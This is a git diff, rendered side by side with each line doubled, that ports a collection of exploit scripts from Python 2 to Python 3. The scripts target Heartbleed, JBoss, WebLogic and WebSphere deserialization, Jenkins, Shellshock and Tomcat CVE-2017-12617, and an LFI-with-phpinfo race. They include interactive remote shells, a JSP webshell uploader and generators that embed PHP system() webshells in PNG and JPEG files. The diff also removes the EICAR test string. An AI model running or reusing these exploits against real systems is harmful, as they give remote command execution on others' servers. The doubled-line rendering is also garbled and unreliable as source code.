s.send('starttls\r\n') s.send('starttls\r\n')
re = s.recv(1024) re = s.recv(1024)
except socket.timeout: except socket.timeout:
print 'Timeout issues, going ahead anyway, but it is probably broken ...' print('Timeout issues, going ahead anyway, but it is probably broken ...')
tls(s,quiet) tls(s,quiet)
else: else:
s = connect(host, port, quiet) s = connect(host, port, quiet)
@ -179,13 +182,13 @@ def check(host, port, dumpf, quiet, starttls):
version = parseresp(s) version = parseresp(s)
if version == 0: if version == 0:
if not quiet: print "Got an error while parsing the response, bailing ..." if not quiet: print("Got an error while parsing the response, bailing ...")
return False return False
else: else:
version = version - 0x0300 version = version - 0x0300
if not quiet: print "Server TLS version was 1.%d\n" % version if not quiet: print("Server TLS version was 1.%d\n" % version)
if not quiet: print 'Sending heartbeat request...' if not quiet: print('Sending heartbeat request...')
sys.stdout.flush() sys.stdout.flush()
if (version == 1): if (version == 1):
s.send(hbv10) s.send(hbv10)
@ -205,8 +208,8 @@ def main():
options.print_help() options.print_help()
return return
print 'Scanning ' + args[0] + ' on port ' + str(opts.port) print('Scanning ' + args[0] + ' on port ' + str(opts.port))
for i in xrange(0,opts.num): for i in range(0,opts.num):
check(args[0], opts.port, opts.file, opts.quiet, opts.starttls) check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
if __name__ == '__main__': if __name__ == '__main__':

View File

@ -3,6 +3,7 @@
# Jboss Java Deserialization RCE (CVE-2015-7501) # Jboss Java Deserialization RCE (CVE-2015-7501)
# Made with <3 by @byt3bl33d3r # Made with <3 by @byt3bl33d3r
from __future__ import print_function
import requests import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
@ -36,26 +37,26 @@ else:
ysoserial_path = args.ysoserial_path ysoserial_path = args.ysoserial_path
if ysoserial_path is None: if ysoserial_path is None:
print '[-] Could not find ysoserial JAR file' print('[-] Could not find ysoserial JAR file')
sys.exit(1) sys.exit(1)
if len(args.target.split(":")) != 2: if len(args.target.split(":")) != 2:
print '[-] Target must be in format IP:PORT' print('[-] Target must be in format IP:PORT')
sys.exit(1) sys.exit(1)
if not args.command: if not args.command:
print '[-] You must specify a command to run' print('[-] You must specify a command to run')
sys.exit(1) sys.exit(1)
ip, port = args.target.split(':') ip, port = args.target.split(':')
print '[*] Target IP: {}'.format(ip) print('[*] Target IP: {}'.format(ip))
print '[*] Target PORT: {}'.format(port) print('[*] Target PORT: {}'.format(port))
gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command]) gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget) r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)
if r.status_code == 200: if r.status_code == 200:
print '[+] Command executed successfully' print('[+] Command executed successfully')

File diff suppressed because one or more lines are too long

View File

@ -4,6 +4,7 @@
#Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins #Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
#Made with <3 by @byt3bl33d3r #Made with <3 by @byt3bl33d3r
from __future__ import print_function
import requests import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
@ -23,17 +24,17 @@ if len(sys.argv) < 2:
args = parser.parse_args() args = parser.parse_args()
if len(args.target.split(':')) != 2: if len(args.target.split(':')) != 2:
print '[-] Target must be in format IP:PORT' print('[-] Target must be in format IP:PORT')
sys.exit(1) sys.exit(1)
if not args.command: if not args.command:
print '[-] You must specify a command to run' print('[-] You must specify a command to run')
sys.exit(1) sys.exit(1)
ip, port = args.target.split(':') ip, port = args.target.split(':')
print '[*] Target IP: {}'.format(ip) print('[*] Target IP: {}'.format(ip))
print '[*] Target PORT: {}'.format(port) print('[*] Target PORT: {}'.format(port))
xml_formatted = '' xml_formatted = ''
command_list = args.command.split() command_list = args.command.split()
@ -67,11 +68,11 @@ xml_payload = '''<map>
</entry> </entry>
</map>'''.format(xml_formatted.strip()) </map>'''.format(xml_formatted.strip())
print '[*] Generated XML payload:' print('[*] Generated XML payload:')
print xml_payload print(xml_payload)
print print()
print '[*] Sending payload' print('[*] Sending payload')
headers = {'Content-Type': 'text/xml'} headers = {'Content-Type': 'text/xml'}
r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload) r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)
@ -79,5 +80,5 @@ paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml']
if r.status_code == 500: if r.status_code == 500:
for path in paths_in_trace: for path in paths_in_trace:
if path in r.text: if path in r.text:
print '[+] Command executed successfully' print('[+] Command executed successfully')
break break

View File

@ -1,30 +1,32 @@
#!/usr/bin/env python #!/usr/bin/env python
# SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py # SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py
# DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b # DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b
from __future__ import print_function
from builtins import input
import requests import requests
import sys import sys
print """ print("""
Jenkins Groovy Console cmd runner. Jenkins Groovy Console cmd runner.
usage: ./jgc.py [HOST] usage: ./jgc.py [HOST]
Then type any command and wait for STDOUT output from remote machine. Then type any command and wait for STDOUT output from remote machine.
Type 'exit' to exit :) Type 'exit' to exit :)
""" """)
URL = sys.argv[1] + '/scriptText' URL = sys.argv[1] + '/scriptText'
HEADERS = { HEADERS = {
'User-Agent': 'jgc' 'User-Agent': 'jgc'
} }
while 1: while 1:
CMD = raw_input(">> Enter command to execute (or type 'exit' to exit): ") CMD = input(">> Enter command to execute (or type 'exit' to exit): ")
if CMD == 'exit': if CMD == 'exit':
print "exiting...\n" print("exiting...\n")
exit(0) exit(0)
DATA = { DATA = {
'script': 'println "{}".execute().text'.format(CMD) 'script': 'println "{}".execute().text'.format(CMD)
} }
result = requests.post(URL, headers=HEADERS, data=DATA) result = requests.post(URL, headers=HEADERS, data=DATA)
print result.text print(result.text)

View File

@ -11,22 +11,26 @@
# .. # ..
# ~$ /bin/cat /etc/passwd # ~$ /bin/cat /etc/passwd
import sys, urllib2 from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import input
import sys, urllib.request, urllib.error, urllib.parse
if len(sys.argv) != 2: if len(sys.argv) != 2:
print "Usage: shell_shocker <URL>" print("Usage: shell_shocker <URL>")
sys.exit(0) sys.exit(0)
URL=sys.argv[1] URL=sys.argv[1]
print "[+] Attempting Shell_Shock - Make sure to type full path" print("[+] Attempting Shell_Shock - Make sure to type full path")
while True: while True:
command=raw_input("~$ ") command=input("~$ ")
opener=urllib2.build_opener() opener=urllib.request.build_opener()
opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)] opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)]
try: try:
response=opener.open(URL) response=opener.open(URL)
for line in response.readlines(): for line in response.readlines():
print line.strip() print(line.strip())
except Exception as e: print e except Exception as e: print(e)

View File

@ -7,21 +7,25 @@
options: options:
-u ,--url [::] check target url if it's vulnerable -u ,--url [::] check target url if it's vulnerable
-p,--pwn [::] generate webshell and upload it -p,--pwn [::] generate webshell and upload it
-l,--list [::] hosts list -l,--list [::] hosts list
[+]usage: [+]usage:
./cve-2017-12617.py -u http://127.0.0.1 ./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1 ./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn ./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn ./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt ./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt ./cve-2017-12617.py --list hosts.txt
""" """
from __future__ import print_function
from builtins import input
from builtins import str
from builtins import object
import requests import requests
import re import re
import signal import signal
@ -34,7 +38,7 @@ from optparse import OptionParser
class bcolors: class bcolors(object):
HEADER = '\033[95m' HEADER = '\033[95m'
OKBLUE = '\033[94m' OKBLUE = '\033[94m'
OKGREEN = '\033[92m' OKGREEN = '\033[92m'
@ -50,14 +54,14 @@ class bcolors:
banner=""" banner="""
_______ ________ ___ ___ __ ______ __ ___ __ __ ______ _______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
[@intx0x80] [@intx0x80]
@ -79,9 +83,9 @@ signal.signal(signal.SIGINT, signal_handler)
def removetags(tags): def removetags(tags):
remove = re.compile('<.*?>') remove = re.compile('<.*?>')
txt = re.sub(remove, '\n', tags) txt = re.sub(remove, '\n', tags)
return txt.replace("\n\n\n","\n") return txt.replace("\n\n\n","\n")
def getContent(url,f): def getContent(url,f):
@ -94,9 +98,9 @@ def createPayload(url,f):
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers) req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
if req.status_code==201: if req.status_code==201:
print "File Created .." print("File Created ..")
def RCE(url,f): def RCE(url,f):
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+""" EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
<INPUT name='cmd' type=text> <INPUT name='cmd' type=text>
@ -119,26 +123,26 @@ InputStreamReader(p.getInputStream()));
<pre><%=output %></pre>""" <pre><%=output %></pre>"""
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers) req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
def shell(url,f): def shell(url,f):
while True: while True:
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
cmd=raw_input("$ ") cmd=input("$ ")
payload={'cmd':cmd} payload={'cmd':cmd}
if cmd=="q" or cmd=="Q": if cmd=="q" or cmd=="Q":
break break
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers) re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
re=str(re.content) re=str(re.content)
t=removetags(re) t=removetags(re)
print t print(t)
@ -152,21 +156,21 @@ parse=OptionParser(
bcolors.HEADER+""" bcolors.HEADER+"""
_______ ________ ___ ___ __ ______ __ ___ __ __ ______ _______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
./cve-2017-12617.py [options] ./cve-2017-12617.py [options]
options: options:
-u ,--url [::] check target url if it's vulnerable -u ,--url [::] check target url if it's vulnerable
-p,--pwn [::] generate webshell and upload it -p,--pwn [::] generate webshell and upload it
-l,--list [::] hosts list -l,--list [::] hosts list
@ -187,7 +191,7 @@ options:
) )
parse.add_option("-u","--url",dest="U",type="string",help="Website Url") parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it") parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
parse.add_option("-l","--list",dest="L",type="string",help="hosts File") parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
@ -201,47 +205,35 @@ if opt.U==None and opt.P==None and opt.L==None:
else: else:
if opt.U!=None and opt.P==None and opt.L==None: if opt.U!=None and opt.P==None and opt.L==None:
print bcolors.OKGREEN+banner+bcolors.ENDC print(bcolors.OKGREEN+banner+bcolors.ENDC)
url=str(opt.U) url=str(opt.U)
checker="Poc.jsp" checker="Poc.jsp"
print bcolors.BOLD +"Poc Filename {}".format(checker) print(bcolors.BOLD +"Poc Filename {}".format(checker))
createPayload(str(url)+"/",checker) createPayload(str(url)+"/",checker)
con=getContent(str(url)+"/",checker) con=getContent(str(url)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC print(bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC)
print bcolors.WARNING+url+"/"+checker+bcolors.ENDC print(bcolors.WARNING+url+"/"+checker+bcolors.ENDC)
else: else:
print 'Not Vulnerable to CVE-2017-12617 ' print('Not Vulnerable to CVE-2017-12617 ')
elif opt.P!=None and opt.U!=None and opt.L==None: elif opt.P!=None and opt.U!=None and opt.L==None:
print bcolors.OKGREEN+banner+bcolors.ENDC print(bcolors.OKGREEN+banner+bcolors.ENDC)
pwn=str(opt.P) pwn=str(opt.P)
url=str(opt.U) url=str(opt.U)
print "Uploading Webshell ....." print("Uploading Webshell .....")
pwn=pwn+".jsp" pwn=pwn+".jsp"
RCE(str(url)+"/",pwn) RCE(str(url)+"/",pwn)
shell(str(url),pwn) shell(str(url),pwn)
elif opt.L!=None and opt.P==None and opt.U==None: elif opt.L!=None and opt.P==None and opt.U==None:
print bcolors.OKGREEN+banner+bcolors.ENDC print(bcolors.OKGREEN+banner+bcolors.ENDC)
w=str(opt.L) w=str(opt.L)
f=open(w,"r") f=open(w,"r")
print "Scaning hosts in {}".format(w) print("Scaning hosts in {}".format(w))
checker="Poc.jsp" checker="Poc.jsp"
for i in f.readlines(): for i in f.readlines():
i=i.strip("\n") i=i.strip("\n")
createPayload(str(i)+"/",checker) createPayload(str(i)+"/",checker)
con=getContent(str(i)+"/",checker) con=getContent(str(i)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m" print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")

View File

@ -4,6 +4,7 @@
#Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits) #Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits)
#Made with <3 by @byt3bl33d3r #Made with <3 by @byt3bl33d3r
from __future__ import print_function
import socket import socket
import struct import struct
import argparse import argparse
@ -34,29 +35,29 @@ else:
ysoserial_path = args.ysoserial_path ysoserial_path = args.ysoserial_path
if len(args.target.split(':')) != 2: if len(args.target.split(':')) != 2:
print '[-] Target must be in format IP:PORT' print('[-] Target must be in format IP:PORT')
sys.exit(1) sys.exit(1)
if not args.command: if not args.command:
print '[-] You must specify a command to run' print('[-] You must specify a command to run')
sys.exit(1) sys.exit(1)
ip, port = args.target.split(':') ip, port = args.target.split(':')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print '[*] Target IP: {}'.format(ip) print('[*] Target IP: {}'.format(ip))
print '[*] Target PORT: {}'.format(port) print('[*] Target PORT: {}'.format(port))
sock.connect((ip, int(port))) sock.connect((ip, int(port)))
# Send headers # Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print '[*] Sending header' print('[*] Sending header')
sock.sendall(headers) sock.sendall(headers)
data = sock.recv(1024) data = sock.recv(1024)
print'[*] Received: "{}"'.format(data) print('[*] Received: "{}"'.format(data))
payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command]) payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
@ -67,5 +68,5 @@ payload += '\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f
# adjust header for appropriate message length # adjust header for appropriate message length
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:]) payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
print '[*] Sending payload' print('[*] Sending payload')
sock.send(payload) sock.send(payload)

View File

@ -1,3 +1,5 @@
from __future__ import print_function
from builtins import input
import requests import requests
import sys import sys
@ -44,18 +46,18 @@ def do_post(command_in):
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header) result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
if result.status_code == 500: if result.status_code == 500:
print "Command Executed \n" print("Command Executed \n")
else: else:
print "Something Went Wrong \n" print("Something Went Wrong \n")
print "***************************************************** \n" \ print("***************************************************** \n" \
"**************** Coded By 1337g ****************** \n" \ "**************** Coded By 1337g ****************** \n" \
"* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \ "* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \
"***************************************************** \n" "***************************************************** \n")
while 1: while 1:
command_in = raw_input("Eneter your command here: ") command_in = input("Eneter your command here: ")
if command_in == "exit" : exit(0) if command_in == "exit" : exit(0)
do_post(command_in) do_post(command_in)

View File

@ -2,6 +2,8 @@
# coding:utf-8 # coding:utf-8
# Build By LandGrey # Build By LandGrey
from __future__ import print_function
from builtins import str
import re import re
import sys import sys
import time import time

View File

@ -4,6 +4,8 @@
#Based on the nessus plugin websphere_java_serialize.nasl #Based on the nessus plugin websphere_java_serialize.nasl
#Made with <3 by @byt3bl33d3r #Made with <3 by @byt3bl33d3r
from __future__ import print_function
from builtins import chr
import requests import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
@ -34,7 +36,7 @@ if not args.command:
elif args.command: elif args.command:
if len(args.command) > 254: if len(args.command) > 254:
print '[-] Command must be less then 255 bytes' print('[-] Command must be less then 255 bytes')
sys.exit(1) sys.exit(1)
ip, port = args.target.split(':') ip, port = args.target.split(':')
@ -75,4 +77,4 @@ headers = {'Content-Type': 'text/xml; charset=utf-8',
'SOAPAction': 'urn:AdminService'} 'SOAPAction': 'urn:AdminService'}
r = requests.post('{}://{}:{}'.format(args.proto, ip, port), data=xmlObj, headers=headers, verify=False) r = requests.post('{}://{}:{}'.format(args.proto, ip, port), data=xmlObj, headers=headers, verify=False)
print '[*] HTTPS request sent successfully' print('[*] HTTPS request sent successfully')

View File

@ -1,5 +1,7 @@
#!/usr/bin/python #!/usr/bin/python
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf # https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
from __future__ import print_function
from builtins import range
import sys import sys
import threading import threading
import socket import socket
@ -83,7 +85,7 @@ class ThreadWorker(threading.Thread):
if self.event.is_set(): if self.event.is_set():
break break
if x: if x:
print "\nGot it! Shell created in /tmp/g" print("\nGot it! Shell created in /tmp/g")
self.event.set() self.event.set()
except socket.error: except socket.error:
@ -110,23 +112,23 @@ def getOffset(host, port, phpinforeq):
if i == -1: if i == -1:
raise ValueError("No php tmp_name in phpinfo output") raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i) print("found %s at %i" % (d[i:i+10],i))
# padded up a bit # padded up a bit
return i+256 return i+256
def main(): def main():
print "LFI With PHPInfo()" print("LFI With PHPInfo()")
print "-=" * 30 print("-=" * 30)
if len(sys.argv) < 2: if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0] print("Usage: %s host [port] [threads]" % sys.argv[0])
sys.exit(1) sys.exit(1)
try: try:
host = socket.gethostbyname(sys.argv[1]) host = socket.gethostbyname(sys.argv[1])
except socket.error, e: except socket.error as e:
print "Error with hostname %s: %s" % (sys.argv[1], e) print("Error with hostname %s: %s" % (sys.argv[1], e))
sys.exit(1) sys.exit(1)
port=80 port=80
@ -134,8 +136,8 @@ def main():
port = int(sys.argv[2]) port = int(sys.argv[2])
except IndexError: except IndexError:
pass pass
except ValueError, e: except ValueError as e:
print "Error with port %d: %s" % (sys.argv[2], e) print("Error with port %d: %s" % (sys.argv[2], e))
sys.exit(1) sys.exit(1)
poolsz=10 poolsz=10
@ -143,11 +145,11 @@ def main():
poolsz = int(sys.argv[3]) poolsz = int(sys.argv[3])
except IndexError: except IndexError:
pass pass
except ValueError, e: except ValueError as e:
print "Error with poolsz %d: %s" % (sys.argv[3], e) print("Error with poolsz %d: %s" % (sys.argv[3], e))
sys.exit(1) sys.exit(1)
print "Getting initial offset...", print("Getting initial offset...", end=' ')
reqphp, tag, reqlfi = setup(host, port) reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp) offset = getOffset(host, port, reqphp)
sys.stdout.flush() sys.stdout.flush()
@ -156,7 +158,7 @@ def main():
e = threading.Event() e = threading.Event()
l = threading.Lock() l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz print("Spawning worker pool (%d)..." % poolsz)
sys.stdout.flush() sys.stdout.flush()
tp = [] tp = []
@ -174,19 +176,19 @@ def main():
sys.stdout.flush() sys.stdout.flush()
if counter >= maxattempts: if counter >= maxattempts:
break break
print print()
if e.is_set(): if e.is_set():
print "Woot! \m/" print("Woot! \m/")
else: else:
print ":(" print(":(")
except KeyboardInterrupt: except KeyboardInterrupt:
print "\nTelling threads to shutdown..." print("\nTelling threads to shutdown...")
e.set() e.set()
print "Shuttin' down..." print("Shuttin' down...")
for t in tp: for t in tp:
t.join() t.join()
if __name__=="__main__": if __name__=="__main__":
print "Don't forget to modify the LFI URL" print("Don't forget to modify the LFI URL")
main() main()

View File

@ -1,3 +1,5 @@
from __future__ import print_function
from builtins import range
import itertools import itertools
import requests import requests
import string import string

View File

@ -2,6 +2,10 @@
# coding=utf-8 # coding=utf-8
# https://raw.githubusercontent.com/cujanovic/SSRF-Testing/master/ip.py # https://raw.githubusercontent.com/cujanovic/SSRF-Testing/master/ip.py
from __future__ import print_function from __future__ import print_function
from builtins import oct
from builtins import str
from builtins import hex
from builtins import range
from random import * from random import *
from io import open from io import open
import datetime import datetime

View File

@ -1 +0,0 @@
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

View File

@ -1,4 +1,8 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
from builtins import bytes
from builtins import map
from builtins import zip
from builtins import range
import struct import struct
import argparse import argparse
import random import random

View File

@ -1,3 +1,4 @@
from __future__ import print_function
from PIL import Image from PIL import Image
# Shellcodes - Bypass included : Keyword Recognition : System, GET, php # Shellcodes - Bypass included : Keyword Recognition : System, GET, php
@ -9,10 +10,10 @@ shellcode = "<?php system($_GET['c']); ?>"
shellcode2 = "<?='Sh3ll'; $_='{';$_=($_^'<').($_^'>;').($_^'/');?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>" shellcode2 = "<?='Sh3ll'; $_='{';$_=($_^'<').($_^'>;').($_^'/');?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>"
print "\n[+] Advanced Upload - Shell inside metadatas of a PNG file" print("\n[+] Advanced Upload - Shell inside metadatas of a PNG file")
# Create a backdoored PNG # Create a backdoored PNG
print " - Creating a payload.png" print(" - Creating a payload.png")
im = Image.new("RGB", (10,10), "Black") im = Image.new("RGB", (10,10), "Black")
im.info["shell"] = shellcode im.info["shell"] = shellcode
reserved = ('interlace', 'gamma', 'dpi', 'transparency', 'aspect') reserved = ('interlace', 'gamma', 'dpi', 'transparency', 'aspect')
@ -22,9 +23,9 @@ from PIL import PngImagePlugin
meta = PngImagePlugin.PngInfo() meta = PngImagePlugin.PngInfo()
# copy metadata into new object # copy metadata into new object
for k,v in im.info.iteritems(): for k,v in im.info.items():
if k in reserved: continue if k in reserved: continue
meta.add_text(k, v, 0) meta.add_text(k, v, 0)
im.save("payload.png", "PNG", pnginfo=meta) im.save("payload.png", "PNG", pnginfo=meta)
print "Done" print("Done")

View File

@ -20,10 +20,14 @@
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
""" """
from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import range
import struct,sys,os import struct,sys,os
import gd import gd
from StringIO import StringIO from io import StringIO
from random import randint,shuffle from random import randint,shuffle
from time import time from time import time
@ -51,22 +55,22 @@ def insertPayload(_in, _out, payload,off):
if __name__=='__main__': if __name__=='__main__':
print "[+] Virtualabs' Nasty bulletproof Jpeg generator" print("[+] Virtualabs' Nasty bulletproof Jpeg generator")
print " | website: http://virtualabs.fr" print(" | website: http://virtualabs.fr")
print " | contact: virtualabs -at- gmail -dot- com" print(" | contact: virtualabs -at- gmail -dot- com")
print "" print("")
payloads = ["<?php system(/**/$_GET['c'/**/]); ?>","<?php /**/system($_GET[chr(99)/**/]); ?>","<?php system(/**/$_GET[chr(99)]); ?>","<?php\r\nsystem($_GET[/**/'c']);\r\n ?>"] payloads = ["<?php system(/**/$_GET['c'/**/]); ?>","<?php /**/system($_GET[chr(99)/**/]); ?>","<?php system(/**/$_GET[chr(99)]); ?>","<?php\r\nsystem($_GET[/**/'c']);\r\n ?>"]
# make sure the exploit-jpg directory exists or create it # make sure the exploit-jpg directory exists or create it
if os.path.exists('exploit-jpg') and not os.path.isdir('exploit-jpg'): if os.path.exists('exploit-jpg') and not os.path.isdir('exploit-jpg'):
print "[!] Please remove the file named 'exploit-jpg' from the current directory" print("[!] Please remove the file named 'exploit-jpg' from the current directory")
elif not os.path.exists('exploit-jpg'): elif not os.path.exists('exploit-jpg'):
os.mkdir('exploit-jpg') os.mkdir('exploit-jpg')
# start generation # start generation
print '[i] Generating ...' print('[i] Generating ...')
for q in range(50,100)+[-1]: for q in list(range(50,100))+[-1]:
# loop over every payload # loop over every payload
for p in payloads: for p in payloads:
# not done yet # not done yet
@ -113,10 +117,10 @@ if __name__=='__main__':
# does it contain our payload ? # does it contain our payload ?
if p in final_raw: if p in final_raw:
# Yay ! # Yay !
print '[i] Jpeg quality %d ... DONE'%q print('[i] Jpeg quality %d ... DONE'%q)
done = True done = True
break break
except IOError,e: except IOError as e:
pass pass
else: else:
break break